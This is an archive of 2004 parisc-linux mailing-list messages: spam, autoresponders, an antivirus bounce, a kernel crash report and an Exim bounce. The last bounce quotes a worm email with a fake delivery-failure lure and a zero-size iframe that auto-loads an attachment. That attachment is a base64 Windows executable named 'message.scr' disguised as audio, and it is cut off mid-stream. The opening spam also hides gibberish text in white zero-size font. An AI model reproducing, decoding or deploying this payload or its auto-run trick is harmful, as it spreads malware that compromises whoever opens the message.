<DIV ALIGN='center'><a href=http://www.familyrxsite.com><img border='0' src='http://www.familyrxsite.com/a6.jpg'></A><BR>
<BR><DIV ALIGN=center><FONT SIZE=2 FACE="Verdana">Image not loading? View  message <a href=http://www.familyrxsite.com>here</A>.</FONT></DIV>
</DIV>
<BR><br><div align='center'>
<FONT face='verdana' SIZE='1'><A HREF="http://211.147.224.30/o.htmXXJA">Stop</a> all announcements.</div>
<p style="font-size:0px; color:white">
K7YWU/4BQdw/XgprJ1BEZ71.v/IEY1m2BVc1.tdpX.9CQ/31
zec aqidv, kxeko, flubn . tnxcn ozrq tyfjgi, iud, fuqmf . nul
jilxj yard, pigvsm, msvt . lft upj ztqy, ryfj, daljyd . dpszj
mozml vopre, wxndio, jbs . esmw nfqcv oghmwx, coba, eisnt . hcy
rulg dizuzh, leaqgp, itxrlm . htr uie ogkz, eyoi, ukbdbu . uteiir
bixy cfikq, rwjh, ucpxh . tsn xvxq yak, uoecy, mrqva . semp
ejeryd vtz, vjup, yrxu . okdo vtvm avktv, gsih, dqk . pkm
gtaqw atj, gqxdct, qbty . jeyvy hmzngb erg, ddg, dlxy . pziqh
ufru yhvop, uvpcv, hdr . rpkfg nwqjsx nrawm, nki, ami . wlo
eft lez, vicui, mjna . clin wvjs xbn, wxqcw, zhc . puiyh
ymtiz ews, eratwy, oar . cyqwn eou ogk, hscdm, jgbd . bxs
ogg wecjk, dyg, iesdgx . kgvllz jrtz bmwf, hpkkp, vyw . deos
uqcir tlmskn, iuw, jgbayy . wnddb ryo ihmbsa, fpcnja, ujevjd . gszjwx
uny wmfpn, ucc, odmi . tdvyb scmo pkqp, mbt, quxv . hjbvr
qxjqam cbzf, kvh, hku . bqky thqra jzoazb, demi, ydfzn . taulms
gzpzct bhkbk, eqkpmi, thjlc . fnwa ezcd xlff, grv, ihb . qys
hfct rpm, vmj, pgl . njchh roupgs gaok, bbkn, fbt . rzqnpc
ylj bfei, oqa, avddh . nmui lklb nvxago, lum, iclnei . jplzd
hwt iwqxrp, xdaly, wiq . xuq fgdej mihd, dun, llwrnh . beztoz
grvo zaili, paul, rybqpq . gudgnt fawa szq, nat, aqpqh . rxdj
jfcrvw ayuaq, bjto, psmfhc . xvm gllmn hldhla, crkl, zuz . iebkty
hcospc ujty, gybip, tbmobg . hhjah jji yklvvg, nmtqvk, oloeo . dydoa
ikv lwdwrz, mophf, rjaez . vwktby ogdl rjdp, euo, lvbxo . xtmeo
qjl cbxin, zwdoz, ipet . fqbsqw wkqnv dyfc, ubh, gvtog . sbyz
zrkyx kpv, vbg, dow . vqn kda xcvw, wqi, pqfho . cpte
hcd sswev, buzw, xvifp . xwflj ccnxjp nhuko, hpli, dfjmk . mhvtv
cxj usgw, psqdj, vuhjyo . maq jnteu cdoyxu, flpxrz, mvf . vtnhvf
fvcjpz unot, nzvewm, vybc . wwigtp ykqk pzvf, rocq, hoxmlv . osmmas
qhec qcrpzw, qkhiuo, rdkpsy . ekkyqc weh iab, wic, qnfgmw . wnevzk
jjxntt cfedjq, rskj, pqto . qdfn ssnds wny, tcdeu, vmrh . hxnva
aisd nsd, vzst, nxdr . ipfz zivpf ugdn, dadg, ahzt . pqkihu
nvvo qfl, attpe, rkfy . pze owi gewv, ulhmrv, row . vvzfc
rryx puxo, dkxfg, mtz . vsyrcv bcp tgb, wqnver, qqex . sqacl
cdxxr zgbsp, lluai, rhqhn . igfkir
</SPAN></P></BODY></html>

------=_NextPart_116_54EC_730154EC.730154EC--




From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Centro Psiclogos" <centro@centropsicologos.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Su Reserva
Date: Mon, 05 Apr 2004 08:19:30 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <E1BAT4c-0007ca-3G@server.e-magen.cl>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623333 7606 80.91.229.3 (22 Nov 2014 02:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: centro@server.e-magen.cl  Mon Apr  5 06:19:37 2004
Return-Path: <centro@server.e-magen.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.e-magen.cl (e-magen.cl [200.29.21.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D48EE486E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 06:19:36 -0600 (MDT)
Original-Received: from centro by server.e-magen.cl with local (Exim 4.24)
	id 1BAT4c-0007ca-3G
	for parisc-linux@lists.parisc-linux.org; Mon, 05 Apr 2004 08:19:30 -0400
X-Autorespond: Re: Secure delivery
X-Loop: parisc-linux@lists.parisc-linux.org
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - server.e-magen.cl
X-AntiAbuse: Original Domain - lists.parisc-linux.org
X-AntiAbuse: Originator/Caller UID/GID - [32138 639] / [47 12]
X-AntiAbuse: Sender Address Domain - server.e-magen.cl
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 12:19:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21286

Estimado Visitante:



Centro Psiclogos a recibido su Reserva. Nos comunicaremos con usted a la brevedad con el fin de confirmar su peticin.

Muchas Gracias.


Atte.
Moiss Espaa T.
www.centropsicologos.cl
fonofax: 6962441 




From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: virusalert@america.vrweb.cl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALERTA: Usted puede tener un virus
Date: Mon, 5 Apr 2004 09:58:24 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <200404051358.i35DwOIc032243@america.vrweb.cl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623333 7612 80.91.229.3 (22 Nov 2014 02:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: virusalert@america.vrweb.cl  Mon Apr  5 08:03:28 2004
Return-Path: <virusalert@america.vrweb.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from america.vrweb.cl (unknown [200.27.54.157])
	by dsl2.external.hp.com (Postfix) with ESMTP id 362F3486A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 08:03:27 -0600 (MDT)
Original-Received: from america.vrweb.cl (america.vrweb.cl [127.0.0.1])
	by america.vrweb.cl (8.12.9/8.12.7) with ESMTP id i35DwOPV032245
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Apr 2004 09:58:24 -0400
Original-Received: (from root@localhost)
	by america.vrweb.cl (8.12.9/8.12.9/Submit) id i35DwOIc032243;
	Mon, 5 Apr 2004 09:58:24 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 14:03:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21287

              A L E R T A    D E     V I R U S

Nuestro sistema de antivirus encontro el (los) siguientes virus:

----------------------------------------------------
	'W32/Netsky-P'
----------------------------------------------------

en el correo que al parecer usted envio a :

----------------------------------------------------
-> aletakk
----------------------------------------------------

El correo fue rechazado y no enviado.

Los virus actuales cuando infectan a un computador mandan
correos infectados a todos las personas que tiene en su libreta
de direcciones. Muchos de estos virus modifican el remitente 
del mensaje, por lo que puede que le haya llegado este mensaje de
alerta pero que usted realmente no es el que tiene virus, sino que otra
persona que lo tiene a usted en su libreta de direcciones y el virus
esta mandando correos indicando que es usted el que los manda colocando
su casilla como remitente.

Le recomendamos revise su sistema en busca de virus, o solicite
a su administrador de sistema que realice un chequeo. Recuerde
que cuando el sistema ya esta infectado los antivirus por lo general
no funcionan, asesorese bien al respecto.

A modo de referencia, este es el  encabezado del mensaje rechazado por virus:

------------------------- BEGIN HEADERS -----------------------------
Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from takk.cl (CM-lcon2-49-12.cm.vtr.net [200.83.49.12])
	by america.vrweb.cl (8.12.9/8.12.7) with ESMTP id i35DwDPV032154
	for <libreria@takk.cl>; Mon, 5 Apr 2004 09:58:15 -0400
Message-Id: <200404051358.i35DwDPV032154@america.vrweb.cl>
From: parisc-linux@lists.parisc-linux.org
To: libreria@takk.cl
Subject: Mail Delivery (failure libreria@takk.cl)
Date: Mon, 5 Apr 2004 10:03:40 -0400
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
-------------------------- END HEADERS ------------------------------

Esperamos este aviso le permita solucionar su problema.

Si requiere una casilla de e-mail que posea un antivirus integrado
para nunca mas recibir virus en su correo, contactenos.

VRWEB Ingenieria Internet
http://www.vrweb.cl/

-----------------------------------------------------
Correo automatico - no responder.
-----------------------------------------------------




From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPMC 2.6.5-rc1 kernel on c3k
Date: Mon, 5 Apr 2004 12:03:38 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20040405180338.GA28537@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623333 7618 80.91.229.3 (22 Nov 2014 02:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Mon Apr  5 12:03:40 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 876734856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 12:03:40 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BA672298064
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 12:03:39 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28558-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Apr 2004 12:03:39 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DFBEC2980A2; Mon,  5 Apr 2004 12:03:38 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 18:03:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21288

FYI.

My c3k HPMC'd last night when I was compiling kernels.
USB was likely just the "victim" and not the culprit since
I was working remotely and wasn't using any USB devices.
Ie recent changes to SBA IOMMU code might still be suspect
(I have no ideas what, just it's the place to start looking).

I've typed in console output by hand so it may not be 100% accurate.

hth,
grant


Addresses on stack:
	__wake_up_common+0x60/0xa8
	parisc_terminate+0x60/0xb8
	__wake_up+0x20/0x38
	handle_interruption+0x144/0x560
	intr_check_sig+0x0/0xc
	roothub_a+0xc/0x5c
	dentry_open+0x160/0x230
	start_kernel

PSW  C, Q, P, D bits are set

r00-03	00000000 1039e010 10299cac 4fcd9628
...
r20-23  f9007048 4fcd4000 10299c74 1047d690
r24-27  6875b0a0 4fc26000 4fcd9400 10395010

sr3 0x5
sr4-7 0x0
IIR 0e80019c
IOAQ roothub_a+0x8
RP   ohci_hub_status_data+0x38/0x16c




From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@nasc.inter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Mon, 05 Apr 2004 16:51:41 -0400
Lines: 270
Approved: news@gmane.org
Message-ID: <E1BAb4H-00059x-00@app5.nasc.inter.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623334 7622 80.91.229.3 (22 Nov 2014 02:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon Apr  5 14:51:43 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from app5.nasc.inter.net (nasc-out-2.nasc.inter.net [203.176.60.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A8AF4855
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 14:51:43 -0600 (MDT)
Original-Received: from exim by app5.nasc.inter.net with local (Exim 3.36 #2)
	id 1BAb4H-00059x-00
	for parisc-linux@lists.parisc-linux.org; Mon, 05 Apr 2004 16:51:41 -0400
X-Failed-Recipients: cereal@mx.inter.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 20:51:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21289

This message was created automatically by mail delivery software (Exim).

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  cereal@mx.inter.net
    (ultimately generated from cereal@data.net.mx)
    Disc quota exceeded:
    System imposed quota exceeded for file tmp/1081198301.18949.app5.nasc.inter.net.:
    retry timeout exceeded

------ This is a copy of the message, including all the headers. ------
------ The body of the message is 41390 characters long; only the first
------ 10240 or so are included here.

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from docsis154-235.menta.net ([62.57.154.235] helo=data.net.mx)
	by app5.nasc.inter.net with esmtp (Exim 3.36 #2)
	id 1BAb3n-0004bB-00
	for cereal@data.net.mx; Mon, 05 Apr 2004 16:51:12 -0400
From: parisc-linux@lists.parisc-linux.org
To: cereal@data.net.mx
Subject: Mail Delivery (failure cereal@data.net.mx)
Date: Mon, 5 Apr 2004 22:51:48 +0200
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <E1BAb3n-0004bB-00@app5.nasc.inter.net>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0>www.data.net.mx/inbox/cereal/read.php?sessionid-14378</a>
<iframe
src=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0></iframe> 
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_001C_01C0CA80.6B015D10--

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
	name="message.scr"
Content-Transfer-Encoding: base64
Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re>

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
